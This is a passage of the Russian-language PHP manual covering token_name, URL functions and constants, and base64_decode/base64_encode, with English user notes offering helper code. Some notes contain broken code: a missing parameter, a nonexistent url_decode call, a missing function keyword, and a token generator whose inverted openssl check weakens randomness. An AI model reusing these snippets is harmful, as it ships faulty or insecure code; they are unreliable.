        {
            $new_tokens[] = array($token_name, $token_data);
            continue;
        }

        // Split the data up by newlines
        $split_data = preg_split('#(\r\n|\n)#', $token_data, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY);

        foreach ($split_data as $data)
        {
            if ($data == "\r\n" || $data == "\n")
            {
                // This is a new line token
                $new_tokens[] = array(T_NEW_LINE, $data);
            }
            else
            {
                // Add the token under the original token name
                $new_tokens[] = is_array($token) ? array($token_name, $data) : $data;
            }
        }
    }

    return $new_tokens;
}

function token_name_nl($token)
{
    if ($token === T_NEW_LINE)
    {
        return 'T_NEW_LINE';
    }

    return token_name($token);
}

?>

Example usage:

<?php

$tokens = token_get_all_nl(file_get_contents('somecode.php'));

foreach ($tokens as $token)
{
    if (is_array($token))
    {
        echo (token_name_nl($token[0]) . ': "' . $token[1] . '"<br />');
    }
    else
    {
        echo ('"' . $token . '"<br />');
    }
}

?>

I'm sure you can figure out how to count the lines of code, and lines of comments with these functions.  This was a huge improvement on my previous attempt at counting lines of code with regular expressions.  I hope this helps someone, as many of the user contributed examples on this website have helped me in the past.
kevin at metalaxe dot com 26-Apr-2008 02:58
Rogier, thanks for that fix. This bug still exists in php 5.2.5. I did notice though that it is possible for a notice to pop up from your code. Changing this line:

            $temp[] = $tokens[0][2];

To read this:

            $temp[] = isset($tokens[0][2])?$tokens[0][2]:'unknown';

fixes this notice.
rogier 10-Jan-2008 11:01
Complementary note to code below:
Note that only the FIRST 2 (or 3, if needed) array elements will be updated.

Since I only encountered incorrect results on the FIRST occurence of T_OPEN_TAG, I wrote this quick fix.
Any other following T_OPEN_TAG are, on my testing system (Apache 2.0.52, PHP 5.0.3), parsed correctly.

So, This function assumes only a possibly incorrect first T_OPEN_TAG.
Also, this function assumes the very first element (and ONLY the first element) of the token array to be the possibly incorrect token.
This effectively translates to the first character of the tokenized source to be the start of a php script opening tag '<', followed by either 'php' OR '%' (ASP_style)
nicolas dot grekas+php at gmail dot com 03-Dec-2007 01:10
Well, there is a way to parse for errors. See
http://www.php.net/manual/function.php-check-syntax.php#77318


Получить символьное имя для переданной PHP-лексемы

  • « token_get_all
  • URL »
  • PHP Manual
  • Функции PHP-лексера (tokenizer)
  • Получить символьное имя для переданной PHP-лексемы

token_name

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

token_name — Получить символьное имя для переданной PHP-лексемы

Описание

token_name(int $id): string

Функция token_name() получает символьное имя для значения PHP-лексемы id.

Список параметров

id

Значение лексемы.

Возвращаемые значения

Символьное значение для переданной лексемы id.

Примеры

Пример #1 Пример использования token_name()

<?php
// 260 - значение для лексемы T_EVAL
echo token_name(260); // -> "T_EVAL"

// Константа лексемы сопоставима с его собственным именем
echo token_name(T_FUNCTION); // -> "T_FUNCTION"
?>

Смотрите также

  • Список лексем
  • PhpToken::getTokenName() - Возвращает имя токена

User Contributed Notes

There are no user contributed notes for this page.


URL

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции URL
    • base64_decode — Декодирует данные, закодированные MIME base64
    • base64_encode — Кодирует данные в формат MIME base64
    • get_headers — Возвращает все заголовки из ответа сервера на HTTP-запрос
    • get_meta_tags — Извлекает содержимое всех метатегов из файла и возвращает массив
    • http_build_query — Генерирует URL-кодированную строку запроса
    • parse_url — Разбирает URL и возвращает его компоненты
    • rawurldecode — Декодирование URL-кодированной строки
    • rawurlencode — URL-кодирование строки согласно RFC 3986
    • urldecode — Декодирование URL-кодированной строки
    • urlencode — URL-кодирование строки

User Contributed Notes

There are no user contributed notes for this page.


Введение

Работа со строками URL: кодирование, декодирование и разбор.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

Следующие константы доступны для использования с parse_url().

PHP_URL_SCHEME (int)
PHP_URL_HOST (int)
Вывод имени из хоста разобранного URL.
PHP_URL_PORT (int)
Вывод порта из разобранного URL.
PHP_URL_USER (int)
Вывод пользователя из разобранного URL.
PHP_URL_PASS (int)
Вывод пароля из разобранного URL.
PHP_URL_PATH (int)
Вывод пути из разобранного URL.
PHP_URL_QUERY (int)
Вывод строки запроса из разобранного URL.
PHP_URL_FRAGMENT (int)
Вывод фрагмента (строка после символа #) из разобранного URL.

Следующие константы предназначены для использования с http_build_query().

PHP_QUERY_RFC1738 (int)
Кодирование выполняется в соответствии с » RFC 1738 и типом данных application/x-www-form-urlencoded. Это означает, что пробелы заменяются символом плюс (+).
PHP_QUERY_RFC3986 (int)
Кодирование производится в соответствии с » RFC 3986, и пробелы кодируются как %20.

User Contributed Notes

There are no user contributed notes for this page.


Функции URL

Содержание

  • base64_decode — Декодирует данные, закодированные MIME base64
  • base64_encode — Кодирует данные в формат MIME base64
  • get_headers — Возвращает все заголовки из ответа сервера на HTTP-запрос
  • get_meta_tags — Извлекает содержимое всех метатегов из файла и возвращает массив
  • http_build_query — Генерирует URL-кодированную строку запроса
  • parse_url — Разбирает URL и возвращает его компоненты
  • rawurldecode — Декодирование URL-кодированной строки
  • rawurlencode — URL-кодирование строки согласно RFC 3986
  • urldecode — Декодирование URL-кодированной строки
  • urlencode — URL-кодирование строки

User Contributed Notes

martin at limitless dot co dot uk 24-Jul-2006 08:31
Each %xx represents a letter. You would need to remove %68%74%74%70%3a%2f%2f (http://) from the beginning.
dday at cnscorp dot com 24-Jun-2005 10:22
When using a multiple select on a form, I ran into a little issue of only receiving the last value form the select box.
I had a select box named organization_id with two values (92 and 93).
To get the values of both, I had to use the following:

    $temp_array = split("&", $_SERVER['QUERY_STRING']);
    foreach($temp_array as $key=>$value){
        if(substr($value, 0, 15) == "organization_id"){
            $_GET['organizations'][] = substr($value, 15, strlen($value));
        }
    }

this results in a $_GET array like this :

(
    [page] => idea_submission
    [organization_id] => 93
    [organizations] => Array
        (
            [0] => =92
            [1] => =93
        )

)
php at malaker dot com 17-Dec-2003 03:25
Following method do not show the URL in user browser (as the author claimed) if the code resides in the source page of  FRAME or IFRAME (say SRC="sourcepage.php") . In that case the URL of the SOURCE page is displayed.

$url = sprintf("%s%s%s","http://",$HTTP_HOST,$REQUEST_URI);
echo "$url";

Expected result: http://localhost/urltest/framedpage.php

Actual result: http://localhost/urltest/sourcepage.php
chemanfit at hotmail 06-Jun-2003 05:24
just a side note to the above you will need to add the ?

example

$page=$PHP_SELF."?".$_SERVER['QUERY_STRING'];
ignacio paz posse 12-Mar-2003 05:31
Note on the above: the point is that is that using $_SERVER['QUERY_STRING'] along with $PHP_SELF we will have passed whatever variables are already appended (as they might be needed for database queries)

example, given the following url: http://www.your_domain/somepage.php?variable=1;

using $PHP_SELF" we are passing
[scheme]:(http://), [host]: www.your_domain/  and [path]: somepage.php

adding $_SERVER['QUERY_STRING'], we pass that, plus [query]: variable=1
ignacio 12-Mar-2003 10:16
/*
May be this is obvious but helps me since I found it:
If I want to append a variable to the url and pass it to the same page. ( in this example I'm using action=email to include an email form on the user click) i do:
*/

// ...

<a href="<? echo $PHP_SELF,'?',$_SERVER['QUERY_STRING'],'&action=email' ?>">email to us</a>

// ...

/* somewhere in the the page (in my case at the bottom) I have: */

<? if ($action=='email') include('emailForm.htm'); ?>
jrg45 at pantheon dot yale dot edu 10-Jul-2002 02:14
Note that $_SERVER["HTTP_REFERER"] may not include GET data that was included in the referring address, depending on the browser.  So if you rely on GET variables to generate a page, it's not a good idea to use HTTP_REFERER to smoothly "bounce" someone back to the page he/she came from.
postmaster at asmatic dot ch 29-Apr-2002 09:15
If you want to get the filename requested on a global error page like a 404, just use this code...

// get the full var...
$page = $HTTP_SERVER_VARS["QUERY_STRING"];

// part[1] is the url...
// part[0] is the http code (404, etc).
if(strpos($page,";")>0) {
   $pageParts = explode(";",$page);
   $page = $pageParts[1];
}

// get only the filename...
$page = basename($page);
stephane-wantiez at tiscalinet dot be 07-Feb-2002 06:29
if you do this, it will be easier :
echo "http://{$HTTP_HOST}{$REQUEST_URI}";
verdy_p at wanadoo dot fr 26-May-2001 10:47
Note also that the URL shown in $HTTP_REFERER is not always the URL of the web page where the user clicked to invoke the PHP script.
This may instead be a document of your own web site, which contains an HTML element whose one attribute references the script. Note also that the current page fragment (#anchor) may be transmitted or not with the URL, depending on the browser.
Examples:
<FRAME src="your-page-script.php"8>
<IMAGE src="your-image-script.php">

In such case, browsers should transmit the URL of the container document, but some still persist in using the previous document in the browser history, and this could cause a different $HTTP_REFERER value be sent when the user comes back to the document referencing your script. If you wanna be sure that the actual current document or previous document in the history is sent, use client-side JavaScript to send it to your script:

<SCRIPT language="JavaScript"><!--
document.writeln('<FRAME src="your-page-script.php?js=1&amp;ref=' +
document.location + '">');
--></SCRIPT><NOSCRIPT>
<FRAME src="your-page-script.php?js=0">
</NOSCRIPT>

And then check the value of $js in your page script to generate appropriate content when the remote user agent does not support client-side scripts (such as most index/scan robots, some old or special simplified browsers, or browsers with JavaScript disabled by their users).
tumor at kkt dot bme dot hu 01-Apr-2000 10:18
To check if a URL is valid, try to fopen() it. If fopen() results an error (returns false), then PHP cannot open the URL you asked. This is usually because it is not valid...


Декодирует данные, закодированные MIME base64

  • « Функции URL
  • base64_encode »
  • PHP Manual
  • Функции URL
  • Декодирует данные, закодированные MIME base64

base64_decode

(PHP 4, PHP 5, PHP 7, PHP 8)

base64_decode — Декодирует данные, закодированные MIME base64

Описание

base64_decode(string $string, bool $strict = false): string|false

Декодирует строку string, закодированную при помощи base64.

Список параметров

string

Закодированные данные.

strict

Если параметр strict задан как true, функция base64_decode() вернёт false в случае, если входные данные содержат символы, не входящие в алфавит base64. В противном случае такие символы будут отброшены.

Возвращаемые значения

Возвращает декодированные данные или false в случае возникновения ошибки. Возвращаемые данные могут быть бинарными.

Примеры

Пример #1 Пример использования base64_decode()

<?php
$str = '0K3RgtC+INC30LDQutC+0LTQuNGA0L7QstCw0L3QvdCw0Y8g0YHRgtGA0L7QutCw';
echo base64_decode($str);
?>

Результат выполнения данного примера:

Это закодированная строка

Смотрите также

  • base64_encode() - Кодирует данные в формат MIME base64
  • » RFC 2045 раздел 6.8

User Contributed Notes

user at sfdsfd dot com 07-Jul-2019 08:03
function is_base64($str){
        if($str === base64_encode(base64_decode($str))){
            return true;
        }
        return false;
    }

---------------------------------------------------------------------------
---------------------------------------------------------------------------
---------------------------------------------------------------------------

    $str = 'VGhpcyBpcyBiYXNlNjQgZW5jb2RlIHN0cmluZw==';

    if(is_base64($str)){
        print base64_decode($str);
    }
markandrewslade at gmail dot com 08-Feb-2016 04:34
The docs don't make this explicitly clear, but if you omit `$strict` or set it to `false` then invalid characters in the encoded input will be silently ignored.

<?php

echo base64_decode('VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw=='); // "This is an encoded string"
echo base64_decode('$VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw=='); // "This is an encoded string"
echo base64_decode('$VGhpcyBpcyBhbiBlbmNvZGVkIHN0cmluZw==', true); // false

?>
walf 02-Nov-2015 06:58
Base64 for URL parameters/filenames, that adhere to RFC 4648.
Defaults to dropping the padding on encode since it's not required for decoding, and keeps the URL free of % encodings.

<?php
function base64url_encode($data, $pad = null) {
    $data = str_replace(array('+', '/'), array('-', '_'), base64_encode($data));
    if (!$pad) {
        $data = rtrim($data, '=');
    }
    return $data;
}
function base64url_decode($data) {
    return base64_decode(str_replace(array('-', '_'), array('+', '/'), $data));
}
nicolem2005 at gmail dot com 23-Aug-2011 05:17
base64_decode seems to fail when decoding big files/strings. I had an issue decoding a 7MB image file. Here is a solution that worked for me:

$decodedstring=base64_decode(chunk_split($encodedstring));
winkelnkemper at googlemail dot com 27-Jan-2011 04:25
If you want to save data that is derived from a Javascript canvas.toDataURL() function, you have to convert blanks into plusses. If you do not do that, the decoded data is corrupted:

<?php
  $encodedData = str_replace(' ','+',$encodedData);
  $decocedData = base64_decode($encodedData);
?>
martinstaemmler at gmx dot net 17-Aug-2009 09:05
I had some trouble trying to let base64_decode decode base64-strings longer than ~5k chars.

The base64-decoding function is a homomorphism between modulo 4 and modulo 3-length segmented strings. That motivates a divide and conquer approach: Split the encoded string into substrings counting modulo 4 chars, then decode each substring and concatenate all of them.

Then instead of

<?php $decoded = base64_decode($encoded); ?>

for big $encoded strings, it's saver to use

<?php
$decoded = "";
for ($i=0; $i < ceil(strlen($encoded)/256); $i++)
   $decoded = $decoded . base64_decode(substr($encoded,$i*256,256));
?>

where 256 can be replaced by a sufficiently small modulo 4 natural.
dimagolov at yahoo dot com 10-Jul-2009 11:44
Here is function to decode Base 62 (see http://en.wikipedia.org/wiki/Base_62) string to number. It is used by MTA in message id, e.g. by Exim
<?php
function base62_decode($str) {
    $ret= 0;
    for ($i= 0, $l= strlen($str); $i < $l; $i++) {
        $val= ord($str[$i]);
        if (ctype_digit($str[$i]))
            $val-= ord('0');
        else if (ctype_upper($str[$i]))
            $val-= ord('A') - 10;
        else if (ctype_lower($str[$i]))
            $val-= ord('a') - 36;
        else
            $val= 0;
        $ret= $ret * 62 + $val;
    }
    return $ret;
}
?>
mcalwell 09-Apr-2009 09:20
I had a problem testing whether an imap message body was base64 encoded on a pre 5.2.* server.  I had been using this function on a post 5.2 server.

I found that the function imap_base64() returns FALSE on failing to decode a string, and that I could use that to check instead.

<?php
if(imap_base64($body)) $body = imap_base64($body);
?>
alvaro at demogracia dot com 05-Dec-2008 01:11
You can do partial decoding (e.g. from buffered input streams) if you choose a chunk length that is multiple of 4:

<?php

$encoded = base64_encode('The quick brown fox jumps over the lazy dog');
for($i=0, $len=strlen($encoded); $i<$len; $i+=4){
    echo base64_decode( substr($encoded, $i, 4) );
}

?>

4 encoded chars represent 3 original chars. The "=" character is used as padding.
twm at twmacinta dot com 09-Jul-2008 08:38
To follow up on Starson's post, PHP was changed to no longer treat a space as if it were a plus sign in CVS revision 1.43.2.1, which corresponds to PHP 5.1.0.  You can see what happened with a diff to branch point 1.43 at:

http://cvs.php.net/viewvc.cgi/php-src/ext/standard/base64.c

The CVS log indicates that this change was made to fix bug #34214 (base64_decode() does not properly ignore whitespace).

It would seem from the comment preceding the code which was removed that the treatment of the space as if it were the plus sign was actually intentional at one time:

    When Base64 gets POSTed, all pluses are interpreted as spaces.
    This line changes them back.  It's not exactly the Base64 spec,
    but it is completely compatible with it (the spec says that spaces
    are invalid).  This will also save many people considerable
    headache.

    if (ch == ' ') ch = '+';

However, RFC 3548 states that characters not in the Base64 alphabet should either be ignored or cause the implementation to reject the encoding and RFC 2045 says they should be ignored.  So the original code was unfortunately not fully compatible with the spec or other implementations.  It may have also masked problems with code not properly escaping POST variables.
debug 27-Feb-2008 12:39
@morgangalpin att gmail dotty com

A better implementation would be the following regular expression:

^[a-zA-Z0-9/+]*={0,2}$

Which will also detect the usage of = or == at the end of the string (and only end).

If this regex isn't following proper RFC guidelines, please comment on it.

A function geared specifically toward this:

<?php

function is_base64_encoded()
    {
        if (preg_match('%^[a-zA-Z0-9/+]*={0,2}$%', $data)) {
            return TRUE;
        } else {
            return FALSE;
        }
    };

is_base64_encoded("iash21iawhdj98UH3"); // true
is_base64_encoded("#iu3498r"); // false
is_base64_encoded("asiudfh9w=8uihf"); // false
is_base64_encoded("a398UIhnj43f/1!+sadfh3w84hduihhjw=="); // true

?>
zmorris at zsculpt dot com 10-Nov-2007 02:22
Here is a drop-in replacement for base64_decode(), based on a faster version of morgangalpin's code:

<?php
// workaround for bug in php 4.3.11 through 4.4.7, 5.1.2 through 5.2.4 and perhaps others (http://bugs.php.net/bug.php?id=37244)
function    base64_decode_fix( $data, $strict = false )
{
    if( $strict )
        if( preg_match( '![^a-zA-Z0-9/+=]!', $data ) )
            return( false );

    return( base64_decode( $data ) );
}
?>
Tom 06-Dec-2006 10:23
This function supports "base64url" as described in Section 5 of RFC 4648, "Base 64 Encoding with URL and Filename Safe Alphabet"

    <?php
    function base64url_decode($base64url)
    {
        $base64 = strtr($base64url, '-_', '+/');
        $plainText = base64_decode($base64);
        return ($plainText);
    }
    ?>
Starson 19-Sep-2006 06:23
To expand on Jes' post:

The change took place between 5.0.5 and 5.1.0.  Exactly where I don't know or care.

In short php <= 5.0.5's base64_decode( $string ) will assume that a space is meant to be a + sign where php >= 5.1.0's base64_decode( $string ) will no longer make that assumption.  I did not see this noted in the change log.

Please note that, as of this writing, mb_convert_encoding( $string, "UTF-8", "BASE64" ) still behaves as base64_decode( $string ) did in php <= 5.0.5 regardless of the version of php you are running.
tobias at silverxnet dot de 23-Dec-2003 12:16
I was wondering how to decode attached images within mails. Basically they are mostly JPEG files, so it was obviously to write a function that decodes JPEG images.
I guess the plainest way to do so was the following:

<?php
function base64_to_jpeg( $inputfile, $outputfile ) {
  /* read data (binary) */
  $ifp = fopen( $inputfile, "rb" );
  $imageData = fread( $ifp, filesize( $inputfile ) );
  fclose( $ifp );
  /* encode & write data (binary) */
  $ifp = fopen( $outputfile, "wb" );
  fwrite( $ifp, base64_decode( $imageData ) );
  fclose( $ifp );
  /* return output filename */
  return( $outputfile );
}
?>

This function decodes the given inputfile (a filename!) and saves it to the given outputfile (a filename as well) and then returns the output filename for further usage (e.g. redirect, imagejpeg() and so on).
I thought that might be helpful.
Klaus Fehrenbacher 17-Apr-2003 04:05
this script can correct the bug

<?php
$enc = chunk_split(preg_replace('!\015\012|\015|\012!','',$enc));
$enc = base64_decode($enc);
?>
nsayer at kfu dot com 21-Mar-2002 01:15
I used to do uudecode as a C module, but I've discovered a really fast way to do it in PHP. Here it is:

<?php
function uudecode($encode) {
  $b64chars="ABCDEFGHIJKLMNOPQRSTUVWXYZ\
abcdefghijklmnopqrstuvwxyz0123456789+/";

  $encode = preg_replace("/^./m","",$encode);
  $encode = preg_replace("/\n/m","",$encode);
  for($i=0; $i<strlen($encode); $i++) {
    if ($encode[$i] == '`')
      $encode[$i] = ' ';
    $encode[$i] = $b64chars[ord($encode[$i])-32];
  }

  while(strlen($encode) % 4)
    $encode .= "=";

  return base64_decode($encode);
}
?>

This is the PHP equivalent to perl's unpack("u",___). That is, you need to strip the 'begin' and 'end' lines from the typical uuencoded file.


Кодирует данные в формат MIME base64

  • « base64_decode
  • get_headers »
  • PHP Manual
  • Функции URL
  • Кодирует данные в формат MIME base64

base64_encode

(PHP 4, PHP 5, PHP 7, PHP 8)

base64_encode — Кодирует данные в формат MIME base64

Описание

base64_encode(string $string): string

Кодирует string с base64.

Эта кодировка предназначена для корректной передачи бинарных данных по протоколам, не поддерживающим 8-битную передачу, например, для отправки тела письма.

Данные, закодированные base64 занимают на 33% больше места по сравнению с оригинальными данными.

Список параметров

string

Данные для кодирования.

Возвращаемые значения

Кодированные данные в виде строки.

Примеры

Пример #1 Пример использования base64_encode()

<?php
$str = 'Это закодированная строка';
echo base64_encode($str);
?>

Результат выполнения данного примера:

0K3RgtC+INC30LDQutC+0LTQuNGA0L7QstCw0L3QvdCw0Y8g0YHRgtGA0L7QutCw

Смотрите также

  • base64_decode() - Декодирует данные, закодированные MIME base64
  • chunk_split() - Разбивает строку на фрагменты
  • convert_uuencode() - Кодирует строку в формат uuencode
  • » RFC 2045 раздел 6.8

User Contributed Notes

Daniel Klein 27-Aug-2022 10:11
Improvement on "gutzmer at usa dot net", "biziclop at vipmail dot hu", and "ivanm at duck dot com".

<?php
function base64url_encode($data) {
  return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}

function base64url_decode($data) {
  return base64_decode(strtr($data, '-_', '+/'));
}
?>

None of the padding for strings longer than 4 characters worked. Padding the decode function with = is unnecessary, and has been since at least PHP 5.4 (as far back as I checked before posting) so I removed it.
ivanm at duck dot com 22-Apr-2022 12:22
Slight improvement on the padding problem in gutzmer at usa dot net (https://www.php.net/manual/en/function.base64-encode.php#103849) and biziclop at vipmail dot hu (https://www.php.net/manual/en/function.base64-encode.php#121767):

<?php
function base64url_encode($data) {
  return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}

function base64url_decode($data) {
  return base64_decode(str_pad(strtr($data, '-_', '+/'), 4 - ((strlen($data) % 4) ?: 4), '=', STR_PAD_RIGHT));
}
?>
d_maksimov at inbox dot ru 08-Sep-2021 07:51
You can escape '+', '/' and '=' symbols using two simple functions:

<?php
function base_encode($id) {
    return str_replace(["A", "+", "/", "="], ["AA", "AB", "AC", "AD"], base64_encode($id));
}

function base_decode($id) {
    $id = preg_replace_callback('/(AA)|(AB)|(AC)|(AD)/', function ($m) {
        foreach(['A', '+', '/', '='] as $i => $value)
            if($m[$i + 1])
                return $value;
    }, $id);
    return base64_decode($id);
}
?>

this functions escapes symbol 'A' as 'AA', '+' as 'AB', '/' as 'AC', '=' as 'AD'.
divinity76 at gmail dot com 02-Aug-2021 07:58
if you for some reason need a base10 / pure-number encode instead, encoding to some combination of 0123456789

<?php
// base10-encode using the dictionary 0123456789
function base10_encode(string $str): string
{
    $ret = "";
    for ($i = 0, $imax = strlen($str); $i < $imax; ++ $i) {
        $ret .= str_pad((string) ord($str[$i]), 3, "0", STR_PAD_LEFT);
    }
    return $ret;
}
// base10-decode using the dictionary 0123456789
function base10_decode(string $str): string
{
    $ret = "";
    for ($i = 0, $imax = strlen($str); $i < $imax; $i += 3) {
        // notably here we are using (int) to trim away the zeroes..
        $ret .= chr((int) substr($str, $i, 3));
    }
    return $ret;
}
?>

it is unicode-safe and binary-safe, testing:

<?php
// simple ascii test:
$d=[];
$d["raw"]="test";
$d["b10"]=base10_encode($d["raw"]); // 116101115116
$d["decoded"]=base10_decode($d["b10"]); // test
$d["corrupted"]=$d["raw"]!==$d["decoded"]; // false
var_dump($d);
// complex unicode test:
$d=[];
$d["raw"]="?ma?k?s ku?n ? ? ?? ? ? ? ? ? ? ? ?, ? < a ? b ? c ? d ? ? ? (A ? B), ?? ??????? ??? ??? ???? ???? ????? ?????????? ?????? ??? ????? ??? ????? ?? ???? ??? ?? ???? ?? ??? ????? ??????????? ??? ?? ???? ";
// lets add some chess for good measure
$d["raw"].="???????????????";
$d["b10"]=base10_encode($d["raw"]); //
$d["decoded"]=base10_decode($d["b10"]);
$d["corrupted"]=$d["raw"]!==$d["decoded"]; // false, base10 is unicode safe :D
var_dump($d);
// binary safety test:
$everything="";
for($i=0;$i<=0xFF;++$i){
    $everything.=chr($i);
}
$d=[];
$d["raw"]=$everything;
$d["b10"]=base10_encode($d["raw"]);
$d["decoded"]=base10_decode($d["b10"]);
$d["corrupted"]=$d["raw"]!==$d["decoded"]; // false :D base10 is binary safe.
var_dump($d);

?>
raat1979 at gmail dot com 29-Sep-2018 06:27
shortest base64url_decode (correct version)

<?php
    function base64_urldecode($data){
        return base64_decode(strtr($data,'-_','+/').str_repeat("=", -strlen($data) & 3));
}
?>
raat1979 at gmail dot com 29-Sep-2018 06:18
shortest base64url_decode

<?php
function base64url_decode($data){
        return base64_decode($data.str_repeat("=", -strlen($data) & 3));
 }
?>
Rasmus Schultz 03-Sep-2018 12:28
In PHP 7, the padding issue with base64_decode() is no more - the following is totally fine:

function base64_encode_url($string) {
    return str_replace(['+','/','='], ['-','_',''], base64_encode($string));
}

function base64_decode_url($string) {
    return base64_decode(str_replace(['-','_'], ['+','/'], $string));
}

Checked here with random_bytes() and random lengths:

https://3v4l.org/aEs4o
ozziez_box at hotmail dot com 07-Feb-2018 09:31
Regarding base64url, you can just use:

<?php
$encodedUrl = urlencode(base64_encode($string));
$decodedUrl = base64_decode(url_decode($string));
?>
biziclop at vipmail dot hu 17-Oct-2017 04:42
gutzmer at usa dot net's ( http://php.net/manual/en/function.base64-encode.php#103849 ) base64url_decode() function doesn't pad longer strings with '='s. Here is a corrected version:

<?php
function base64url_encode( $data ){
  return rtrim( strtr( base64_encode( $data ), '+/', '-_'), '=');
}

function base64url_decode( $data ){
  return base64_decode( strtr( $data, '-_', '+/') . str_repeat('=', 3 - ( 3 + strlen( $data )) % 4 ));
}

// proof
for( $i = 0, $s = ''; $i < 24; ++$i, $s .= substr("$i", -1 )){
  $base64_encoded    = base64_encode(    $s );
  $base64url_encoded = base64url_encode( $s );
  $base64url_decoded = base64url_decode( $base64url_encoded );
  $base64_restored   = strtr( $base64url_encoded, '-_', '+/')
                     . str_repeat('=',
                         3 - ( 3 + strlen( $base64url_encoded )) % 4
                       );
  echo "$s<br>$base64url_decoded<br>$base64_encoded<br>$base64_restored<br>$base64url_encoded<br><br>";
}
?>
alf at trance dot net 13-May-2016 02:31
@gutzmer at usa dot net

Nice idea! However...

The function base64url_decode doesn't pad strings longer than 4 chars.
str_pad will only pad the string if the second argument is larger than the length of the original string. So the correct function should be:

<?php
function base64url_decode($data) {
  $len = strlen($data);
  return base64_decode(str_pad(strtr($data, '-_', '+/'), $len + $len % 4, '=', STR_PAD_RIGHT));
}

Note that base64_decode works fine without the padding, that is why your function works.
Anonymous 25-Sep-2015 05:26
Wikipedia has a list of 8 or so variations on the last 2 characters in Base64  (https://en.wikipedia.org/wiki/Base64). The following functions can handle all of them:

<?php
function base64_encode2($data, $a = "+/=") {
    $l = strlen($a);
    if ($l === 3) {
        return strtr(base64_encode($data), "+/=", $a);
    } else if ($l === 2) {
        return rtrim(strtr(base64_encode($data), "+/", $a), '=');
    } else {
        throw new InvalidArgumentException("Argument #2 must be 2 or 3 bytes.");
    }
}

function base64_decode2($data, $strict = false, $a = "+/=") {
    $l = strlen($a);
    if ($l === 3) {
        return base64_decode(strtr($data, $a, "+/="), $strict);
    } else if ($l === 2) {
        return base64_decode(strtr($data, $a, "+/"), $strict);
    } else {
        throw new InvalidArgumentException("Argument #2 must be 2 or 3 bytes.");
    }
}
?>

Example usage:

<?php
$decoded = "ABC123";

// base64 XML identifier:
$encoded = base64_encode2($decoded, "_:");
$decoded = base64_decode2($encoded, false, "_:");

// base64 URL (RFC 6920):
// base64 XML name token:
$encoded = base64_encode($decoded, "-_")
$decoded = base64_decode($encoded, false, "-_");

// modified base64 XML name token:
$encoded = base64_encode2($decoded, ".-");
$decoded = base64_decode2($encoded, false, ".-");

// modified base64 for Regular Expressions:
$encoded = base64_encode2($decoded, "!-");
$decoded = base64_decode2($encoded, false, "!-");

// base64 used in YUI library:
$encoded = base64_encode2($decoded, "._-");
$decoded = base64_decode2($encoded, false, "._-");
?>
sadhooklay [at] gmail [dot] com 16-Dec-2014 12:26
<?php
    /**
     * Generates a random URL-safe base64 string.
     *
     * See RFC 3548 for the definition of URL-safe base64.
     * If $n is not specified, Secure::RANDOM_LENGTH is assumed. It may be larger in future.
     *
     * @param int $n Specifies the length of the random string
     * @param bool $padding
     * @return string The result may contain A-Z, a-z, 0-9, "-" and "_". "=" is also used if $padding is true.
     */
    public static function newToken($n = null, $padding = false)
    {
        // Generate a new unique token
        if (!function_exists('openssl_random_pseudo_bytes')) {
            // Generate a random pseudo bytes token if openssl_random_pseudo_bytes is available
            // This is more secure than uniqid, because uniqid relies on microtime, which is predictable
            $s = pack('a*', openssl_random_pseudo_bytes($n ?: static::RANDOM_LENGTH));
            $s = str_replace(["\n", "\r", "\n\r"], '', $s);
        } else {
            // Otherwise, fall back to a hashed uniqid
            $s = substr(hash('sha256', uniqid(null, true)), 0, $n ?: static::RANDOM_LENGTH);
        }

        return $padding ? strtr(base64_encode($s), '+/', '-_') : rtrim(strtr(base64_encode($s), '+/', '-_'), '=');
    }
?>
Naser Mirzaei 24-Jun-2014 09:30
<?php
$image = 'example.png';

// Read image path, convert to base64 encoding
$imageData = base64_encode(file_get_contents($image));

// Format the image SRC:  data:{mime};base64,{data};
$src = 'data: '.mime_content_type($image).';base64,'.$imageData;

// Echo out a sample image
echo "<img src=\"$src\" alt=\"\" />";
?>
Hayley Watson 15-Apr-2013 11:35
Base64 encoding of large files.

Base64 encoding converts triples of eight-bit symbols into quadruples of six-bit symbols. Reading the input file in chunks that are a multiple of three bytes in length results in a chunk that can be encoded independently of the rest of the input file. MIME additionally enforces a line length of 76 characters plus the CRLF. 76 characters is enough for 19 quadruples of six-bit symbols thus representing 19 triples of eight-bit symbols. Reading 57 eight-bit symbols provides exactly enough data for a complete MIME-formatted line. Finally, PHP's default buffer size is 8192 bytes - enough for 143 MIME lines' worth of input.

So if you read from the input file in chunks of 8151 (=57*143) bytes you will get (up to) 8151 eight-bit symbols, which encode as exactly 10868 six-bit symbols, which then wrap to exactly 143 MIME-formatted lines. There is no need to retain left-over symbols (either six- or eight-bit) from one chunk to the next. Just read a chunk, encode it, write it out, and go on to the next chunk. Obviously the last chunk will probably be shorter, but encoding it is still independent of the rest.

<?php

while(!feof($input_file))
{
    $plain = fread($input_file, 57 * 143);
    $encoded = base64_encode($plain);
    $encoded = chunk_split($encoded, 76, "\r\n");
    fwrite($output_file, $encoded);
}

?>

Conversely, each 76-character MIME-formatted line (not counting the trailing CRLF) contains exactly enough data for 57 bytes of output without needing to retain leftover bits that need prepending to the next line. What that means is that each line can be decoded independently of the others, and the decoded chunks can then be concatenated together or written out sequentially. However, this does make the assumption that the encoded data really is MIME-formatted; without that assurance it is necessary to accept that the base64 data won't be so conveniently arranged.
Gerard 23-Jan-2013 01:31
To make base64_encode encode a URL safe string compatible with .net HttpServerUtility.UrlTokenEncode function use this:

<?php
url_safe_base64_encode($string)
  {
    #First base64 encode
    $data = base64_encode($string);

    #Base64 strings can end in several = chars. These need to be translated into a number
    $no_of_eq = substr_count($data, "=");
    $data = str_replace("=", "", $data);
    $data = $data.$no_of_eq;

    #Then replace all non-url safe characters
    $data = str_replace(array('+','/'),array('-','_'),$data);
    return $data;
  }
?>
luke at lukeoliff.com 02-Aug-2011 09:27
A function I'm using to return local images as base64 encrypted code, i.e. embedding the image source into the html request.

